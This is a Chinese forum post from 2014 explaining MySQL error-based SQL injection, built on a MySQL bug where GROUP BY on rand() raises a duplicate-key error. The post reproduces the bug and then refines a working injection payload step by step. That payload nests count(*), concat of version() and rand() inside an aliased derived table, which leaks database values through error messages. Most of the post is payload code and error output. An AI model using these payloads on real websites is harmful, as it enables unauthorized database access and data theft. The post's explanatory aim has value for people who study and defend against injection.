灯火互联
管理员
管理员
  • 注册日期2011-07-27
  • 发帖数41778
  • QQ
  • 火币41290枚
  • 粉丝1086
  • 关注100
  • 终身成就奖
  • 最爱沙发
  • 忠实会员
  • 灌水天才奖
  • 贴图大师奖
  • 原创先锋奖
  • 特殊贡献奖
  • 宣传大使奖
  • 优秀斑竹奖
  • 社区明星
阅读:2785回复:0

网站MYSQL数据库高级爆错注入原理

楼主#
更多 发布于:2014-06-05 11:32
国内只有一大堆高级爆错的利用代码 没人分析原因 这个是去官网查资料后分析给出的。
这里主要用了mysql的一个BUG :http://bugs.mysql.com/bug.php?id=8652
grouping on certain parts of the result from rand, causes a duplicate key error.
重现过程:
 
1
2
3
4
5 use mysql;
create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);
select left(rand(),3),a from r1 group by 1;
select left(rand(),3),a, count(*) from r1 group by 1;
select round(rand(1),1)  ,a, count(*) from r1 group by 1;
于是便可以这样拿来爆错注入了。
 
1 select count(*),concat((select version()),left(rand(),3))x from inform<span style="line-height:1.5;">ation_schema.tables group by x;</span>
尝试拿来实战
 
1 select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);

提示错误 选择的列应该为一个。那么。我们换一下
 
1 select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));<span style="font-family:'sans serif', tahoma, verdana, helvetica;font-size:12px;line-height:1.5;"></span>
 
1 1248 (42000): Every derived table must have its own alias
提示多表查询要有别名 那好办
 
1 select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);
或者
 
1 select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);
成功爆粗注入了.

喜欢0 评分0
游客

返回顶部